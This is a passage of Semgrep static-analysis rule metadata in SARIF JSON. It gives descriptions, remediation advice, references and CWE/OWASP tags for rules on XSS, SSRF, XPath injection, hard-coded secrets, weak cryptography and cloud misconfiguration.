scala.lang.security.audit.scalac-debug.scalac-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/www-community/attacks/XPATH_Injection](https://owasp.org/www-community/attacks/XPATH_Injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"help":{"markdown":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","id":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","name":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","id":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","name":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-auth.hardcoded-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data","id":"cpp.lang.security.containers.std-return-data.std-return-data","name":"cpp.lang.security.containers.std-return-data.std-return-data","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-return-data.std-return-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"help":{"markdown":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage)\n - [https://github.com/mmckegg/notevil](https://github.com/mmckegg/notevil)\n","text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","id":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","name":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","id":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","name":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","id":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","name":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"PayPal Braintree Access Token detected"},"help":{"markdown":"PayPal Braintree Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"PayPal Braintree Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","id":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","name":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"help":{"markdown":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle)\n - [https://capec.mitre.org/data/definitions/463.html](https://capec.mitre.org/data/definitions/463.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n - [https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY](https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY)\n","text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","id":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","name":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"help":{"markdown":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import","id":"python.lang.security.audit.non-literal-import.non-literal-import","name":"python.lang.security.audit.non-literal-import.non-literal-import","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.non-literal-import.non-literal-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"help":{"markdown":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","id":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","name":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unvalidated-redirect.unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"S3 bucket with public read access detected."},"help":{"markdown":"S3 bucket with public read access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","id":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","name":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","id":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","name":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request)\n - [https://kong.github.io/unirest-java/#requests](https://kong.github.io/unirest-java/#requests)\n","text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment 